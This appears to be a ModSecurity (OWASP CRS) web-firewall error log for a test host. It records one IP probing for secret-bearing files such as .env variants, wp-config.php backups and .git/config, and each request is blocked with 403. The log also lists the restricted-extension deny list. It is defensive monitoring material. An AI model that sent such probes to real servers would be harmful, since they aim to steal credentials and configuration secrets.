[Wed Dec 31 07:29:50.930818 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aVTC3lRIYZkOd0KBKLvI4QAAABE"]
[Wed Dec 31 07:29:50.931020 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aVTC3lRIYZkOd0KBKLvI4QAAABE"]
[Wed Dec 31 07:29:50.931179 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aVTC3lRIYZkOd0KBKLvI4QAAABE"]
[Wed Dec 31 07:29:50.981863 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aVTC3lRIYZkOd0KBKLvI4wAAABE"]
[Wed Dec 31 07:29:50.982165 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aVTC3lRIYZkOd0KBKLvI4wAAABE"]
[Wed Dec 31 07:29:50.982315 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aVTC3lRIYZkOd0KBKLvI4wAAABE"]
[Wed Dec 31 07:29:51.192545 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aVTC31RIYZkOd0KBKLvI5wAAABE"]
[Wed Dec 31 07:29:51.192778 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aVTC31RIYZkOd0KBKLvI5wAAABE"]
[Wed Dec 31 07:29:51.192956 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aVTC31RIYZkOd0KBKLvI5wAAABE"]
[Wed Dec 31 07:29:51.224024 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVTC31RIYZkOd0KBKLvI6AAAABE"]
[Wed Dec 31 07:29:51.224275 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVTC31RIYZkOd0KBKLvI6AAAABE"]
[Wed Dec 31 07:29:51.224449 2025] [:error] [pid 1096217] [client 195.178.110.132:33804] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVTC31RIYZkOd0KBKLvI6AAAABE"]
[Wed Dec 31 11:59:19.938270 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVUCB0eyC1gpox9HeXVEHgAAAAA"]
[Wed Dec 31 11:59:19.938530 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVUCB0eyC1gpox9HeXVEHgAAAAA"]
[Wed Dec 31 11:59:19.938693 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVUCB0eyC1gpox9HeXVEHgAAAAA"]
[Wed Dec 31 11:59:19.964678 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVUCB0eyC1gpox9HeXVEHwAAAAA"]
[Wed Dec 31 11:59:19.964917 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVUCB0eyC1gpox9HeXVEHwAAAAA"]
[Wed Dec 31 11:59:19.965094 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aVUCB0eyC1gpox9HeXVEHwAAAAA"]
[Wed Dec 31 11:59:19.986404 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aVUCB0eyC1gpox9HeXVEIAAAAAA"]
[Wed Dec 31 11:59:19.986527 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aVUCB0eyC1gpox9HeXVEIAAAAAA"]
[Wed Dec 31 11:59:19.986706 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aVUCB0eyC1gpox9HeXVEIAAAAAA"]
[Wed Dec 31 11:59:19.986859 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aVUCB0eyC1gpox9HeXVEIAAAAAA"]
[Wed Dec 31 11:59:20.018316 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aVUCCEeyC1gpox9HeXVEIQAAAAA"]
[Wed Dec 31 11:59:20.018552 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aVUCCEeyC1gpox9HeXVEIQAAAAA"]
[Wed Dec 31 11:59:20.018706 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aVUCCEeyC1gpox9HeXVEIQAAAAA"]
[Wed Dec 31 11:59:20.040334 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aVUCCEeyC1gpox9HeXVEIgAAAAA"]
[Wed Dec 31 11:59:20.040543 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aVUCCEeyC1gpox9HeXVEIgAAAAA"]
[Wed Dec 31 11:59:20.040704 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aVUCCEeyC1gpox9HeXVEIgAAAAA"]
[Wed Dec 31 11:59:20.067811 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aVUCCEeyC1gpox9HeXVEIwAAAAA"]
[Wed Dec 31 11:59:20.068042 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aVUCCEeyC1gpox9HeXVEIwAAAAA"]
[Wed Dec 31 11:59:20.068220 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aVUCCEeyC1gpox9HeXVEIwAAAAA"]
[Wed Dec 31 11:59:20.090051 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVUCCEeyC1gpox9HeXVEJAAAAAA"]
[Wed Dec 31 11:59:20.090278 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVUCCEeyC1gpox9HeXVEJAAAAAA"]
[Wed Dec 31 11:59:20.090476 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aVUCCEeyC1gpox9HeXVEJAAAAAA"]
[Wed Dec 31 11:59:20.119053 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aVUCCEeyC1gpox9HeXVEJQAAAAA"]
[Wed Dec 31 11:59:20.119271 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aVUCCEeyC1gpox9HeXVEJQAAAAA"]
[Wed Dec 31 11:59:20.119426 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aVUCCEeyC1gpox9HeXVEJQAAAAA"]
[Wed Dec 31 11:59:20.146458 2025] [:error] [pid 1096246] [client 195.178.110.132:17074] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aVUCCEeyC1gpox9HeXVEJgAAAAA"]
